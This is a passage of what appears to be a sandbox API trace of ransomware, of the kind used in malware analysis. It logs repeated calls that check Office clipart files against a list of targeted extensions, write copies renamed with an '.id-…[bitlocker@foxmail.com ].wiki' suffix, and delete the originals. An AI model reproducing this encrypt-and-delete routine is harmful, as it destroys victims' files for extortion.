Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0196.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0196.929] lstrlenW (lpString=".doc") returned 4 [0196.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.929] lstrlenW (lpString=".docx") returned 5 [0196.929] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0196.929] lstrlenW (lpString=".pdf") returned 4 [0196.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.929] lstrlenW (lpString=".xls") returned 4 [0196.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.929] lstrlenW (lpString=".xlsx") returned 5 [0196.929] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0196.929] lstrlenW (lpString=".ppt") returned 4 [0196.929] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0196.929] lstrlenW (lpString=".zip") returned 4 [0196.929] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.929] lstrlenW (lpString=".rar") returned 4 [0196.929] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.929] lstrlenW (lpString=".bz2") returned 4 [0196.929] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.929] lstrlenW (lpString=".7z") returned 3 [0196.929] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0196.929] lstrlenW (lpString=".dbf") returned 4 [0196.929] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0196.929] lstrlenW (lpString=".1cd") returned 4 [0196.929] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0196.929] lstrlenW (lpString=".jpg") returned 4 [0196.930] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.930] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0196.930] lstrlenW (lpString="J0152570.WMF") returned 12 [0196.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0196.930] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3368) returned 1 [0196.930] CloseHandle (hObject=0x200) returned 1 [0196.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf")) returned 0x20 [0196.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0196.931] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.931] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0196.931] GetLastError () returned 0x0 [0196.931] ReadFile (in: hFile=0x200, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xd28, lpOverlapped=0x0) returned 1 [0196.933] WriteFile (in: hFile=0x220, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xd30, lpOverlapped=0x0) returned 1 [0196.934] ReadFile (in: hFile=0x200, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0196.934] WriteFile (in: hFile=0x220, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.934] SetEndOfFile (hFile=0x220) returned 1 [0196.934] CloseHandle (hObject=0x220) returned 1 [0196.934] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.934] SetEndOfFile (hFile=0x200) returned 1 [0196.935] CloseHandle (hObject=0x200) returned 1 [0196.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.935] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf")) returned 1 [0196.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0196.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0196.935] lstrlenW (lpString=".doc") returned 4 [0196.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.935] lstrlenW (lpString=".docx") returned 5 [0196.935] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0196.935] lstrlenW (lpString=".pdf") returned 4 [0196.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.936] lstrlenW (lpString=".xls") returned 4 [0196.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.936] lstrlenW (lpString=".xlsx") returned 5 [0196.936] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0196.936] lstrlenW (lpString=".ppt") returned 4 [0196.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0196.936] lstrlenW (lpString=".zip") returned 4 [0196.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.936] lstrlenW (lpString=".rar") returned 4 [0196.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.936] lstrlenW (lpString=".bz2") returned 4 [0196.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.936] lstrlenW (lpString=".7z") returned 3 [0196.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0196.936] lstrlenW (lpString=".dbf") returned 4 [0196.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0196.936] lstrlenW (lpString=".1cd") returned 4 [0196.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0196.936] lstrlenW (lpString=".jpg") returned 4 [0196.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0196.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0196.936] lstrlenW (lpString=".doc") returned 4 [0196.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.936] lstrlenW (lpString=".docx") returned 5 [0196.937] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0196.937] lstrlenW (lpString=".pdf") returned 4 [0196.937] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.937] lstrlenW (lpString=".xls") returned 4 [0196.937] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.937] lstrlenW (lpString=".xlsx") returned 5 [0196.937] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0196.937] lstrlenW (lpString=".ppt") returned 4 [0196.937] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0196.937] lstrlenW (lpString=".zip") returned 4 [0196.937] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.937] lstrlenW (lpString=".rar") returned 4 [0196.937] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.937] lstrlenW (lpString=".bz2") returned 4 [0196.937] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.937] lstrlenW (lpString=".7z") returned 3 [0196.937] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0196.937] lstrlenW (lpString=".dbf") returned 4 [0196.937] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0196.937] lstrlenW (lpString=".1cd") returned 4 [0196.937] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0196.937] lstrlenW (lpString=".jpg") returned 4 [0196.937] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.938] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0196.938] lstrlenW (lpString="J0152590.WMF") returned 12 [0196.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0196.938] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=10932) returned 1 [0196.938] CloseHandle (hObject=0x200) returned 1 [0196.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf")) returned 0x20 [0196.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0196.938] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.939] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0196.939] GetLastError () returned 0x0 [0196.939] ReadFile (in: hFile=0x200, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x2ab4, lpOverlapped=0x0) returned 1 [0196.944] WriteFile (in: hFile=0x220, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x2ac0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2ac0, lpOverlapped=0x0) returned 1 [0196.945] ReadFile (in: hFile=0x200, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0196.945] WriteFile (in: hFile=0x220, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.945] SetEndOfFile (hFile=0x220) returned 1 [0196.945] CloseHandle (hObject=0x220) returned 1 [0196.945] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.945] SetEndOfFile (hFile=0x200) returned 1 [0196.946] CloseHandle (hObject=0x200) returned 1 [0196.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.946] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf")) returned 1 [0197.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0197.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0197.064] lstrlenW (lpString=".doc") returned 4 [0197.064] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.064] lstrlenW (lpString=".docx") returned 5 [0197.064] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0197.064] lstrlenW (lpString=".pdf") returned 4 [0197.064] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.064] lstrlenW (lpString=".xls") returned 4 [0197.064] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.064] lstrlenW (lpString=".xlsx") returned 5 [0197.064] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0197.064] lstrlenW (lpString=".ppt") returned 4 [0197.064] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0197.064] lstrlenW (lpString=".zip") returned 4 [0197.064] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.064] lstrlenW (lpString=".rar") returned 4 [0197.064] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.064] lstrlenW (lpString=".bz2") returned 4 [0197.064] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.065] lstrlenW (lpString=".7z") returned 3 [0197.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0197.065] lstrlenW (lpString=".dbf") returned 4 [0197.065] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0197.065] lstrlenW (lpString=".1cd") returned 4 [0197.065] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0197.065] lstrlenW (lpString=".jpg") returned 4 [0197.065] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0197.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0197.065] lstrlenW (lpString=".doc") returned 4 [0197.065] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.065] lstrlenW (lpString=".docx") returned 5 [0197.065] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0197.065] lstrlenW (lpString=".pdf") returned 4 [0197.065] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.065] lstrlenW (lpString=".xls") returned 4 [0197.065] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.065] lstrlenW (lpString=".xlsx") returned 5 [0197.065] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0197.065] lstrlenW (lpString=".ppt") returned 4 [0197.065] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0197.065] lstrlenW (lpString=".zip") returned 4 [0197.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.066] lstrlenW (lpString=".rar") returned 4 [0197.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.066] lstrlenW (lpString=".bz2") returned 4 [0197.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.066] lstrlenW (lpString=".7z") returned 3 [0197.066] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0197.066] lstrlenW (lpString=".dbf") returned 4 [0197.066] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0197.066] lstrlenW (lpString=".1cd") returned 4 [0197.066] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0197.066] lstrlenW (lpString=".jpg") returned 4 [0197.066] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.066] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0197.066] lstrlenW (lpString="J0152594.WMF") returned 12 [0197.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0197.114] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=6340) returned 1 [0197.114] CloseHandle (hObject=0x220) returned 1 [0197.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf")) returned 0x20 [0197.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0197.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0197.114] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.115] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0197.115] GetLastError () returned 0x0 [0197.115] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x18c4, lpOverlapped=0x0) returned 1 [0197.117] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x18d0, lpOverlapped=0x0) returned 1 [0197.118] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0197.118] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0197.118] SetEndOfFile (hFile=0x1f4) returned 1 [0197.118] CloseHandle (hObject=0x1f4) returned 1 [0197.118] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.118] SetEndOfFile (hFile=0x220) returned 1 [0197.119] CloseHandle (hObject=0x220) returned 1 [0197.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0197.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf")) returned 1 [0197.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0197.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0197.120] lstrlenW (lpString=".doc") returned 4 [0197.120] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.120] lstrlenW (lpString=".docx") returned 5 [0197.120] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0197.120] lstrlenW (lpString=".pdf") returned 4 [0197.120] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.120] lstrlenW (lpString=".xls") returned 4 [0197.120] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.120] lstrlenW (lpString=".xlsx") returned 5 [0197.120] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0197.120] lstrlenW (lpString=".ppt") returned 4 [0197.120] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0197.120] lstrlenW (lpString=".zip") returned 4 [0197.120] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.120] lstrlenW (lpString=".rar") returned 4 [0197.120] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.120] lstrlenW (lpString=".bz2") returned 4 [0197.120] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.120] lstrlenW (lpString=".7z") returned 3 [0197.120] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0197.120] lstrlenW (lpString=".dbf") returned 4 [0197.120] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0197.120] lstrlenW (lpString=".1cd") returned 4 [0197.120] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0197.121] lstrlenW (lpString=".jpg") returned 4 [0197.121] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0197.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0197.121] lstrlenW (lpString=".doc") returned 4 [0197.121] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.121] lstrlenW (lpString=".docx") returned 5 [0197.121] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0197.121] lstrlenW (lpString=".pdf") returned 4 [0197.121] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.121] lstrlenW (lpString=".xls") returned 4 [0197.121] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.121] lstrlenW (lpString=".xlsx") returned 5 [0197.121] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0197.121] lstrlenW 